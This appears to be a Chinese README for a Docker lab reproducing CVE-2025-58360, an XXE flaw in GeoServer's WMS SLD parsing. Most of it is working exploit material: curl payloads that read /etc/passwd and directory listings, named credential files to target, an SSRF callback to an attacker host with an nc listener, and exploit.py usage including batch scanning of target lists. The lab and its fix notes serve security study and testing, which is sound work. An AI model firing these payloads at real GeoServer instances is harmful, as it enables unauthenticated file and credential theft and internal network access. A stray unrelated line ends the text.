GeoServer OWS/WMS 服务中未经身份验证的 XML 外部实体 (XXE) 注入漏洞
CVSS: 9.8 严重
受影响版本: <= 2.25.5, 2.26.0-2.26.1
已修复版本: 2.25.6+, 2.26.2+, 2.27.0+
本实验环境演示了 CVE-2025-58360,这是一个存在于 GeoServer WMS/OWS XML 请求处理中的严重 XXE 漏洞。该漏洞允许未经身份验证的攻击者执行以下操作:
file:// 处理程序列出目录内容GeoServer 的 SLDParser.parseSLD() 方法在处理 XML 样式文档时没有实施适当的实体解析限制。虽然 OWS 调度器使用了 AllowListEntityResolver 来阻止 XXE,但 SLD 解析代码路径绕过了这一保护:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS 调度器 | <-- 已配置 EntityResolver
| (检测请求体中的 SLD) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- 无 EntityResolver!
+-----------------------------+
|
v
XXE 解析成功 -> 文件泄露/SSRF
# 启动易受攻击和已修复的两个实例
docker-compose up -d
# 易受攻击实例: http://localhost:8080/geoserver
# 已修复实例: http://localhost:8081/geoserver
# 等待约 60 秒启动完毕
默认凭据: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
易受攻击实例的响应:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
已修复实例的响应:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
Java 的 file:// 处理程序将目录读取为以换行符分隔的文件列表:
# 列出根目录
python3 exploit.py -u http://localhost:8080 --file /
# 枚举 geoserver 数据目录
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
输出示例:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
这允许在针对特定文件之前,先对整个文件系统进行枚举。
# 启动监听器
nc -lvnp 9999
# 发送 payload
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# 版本检测
python3 exploit.py -u http://localhost:8080
# 安全探测(不泄露数据)
python3 exploit.py -u http://localhost:8080 --probe
# 文件读取
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# 详细模式
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# 批量扫描
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
升级至 GeoServer 2.25.6+、2.26.2+ 或 2.27.0+
仅用于授权的安全测试和教育目的。
El Perro 笑话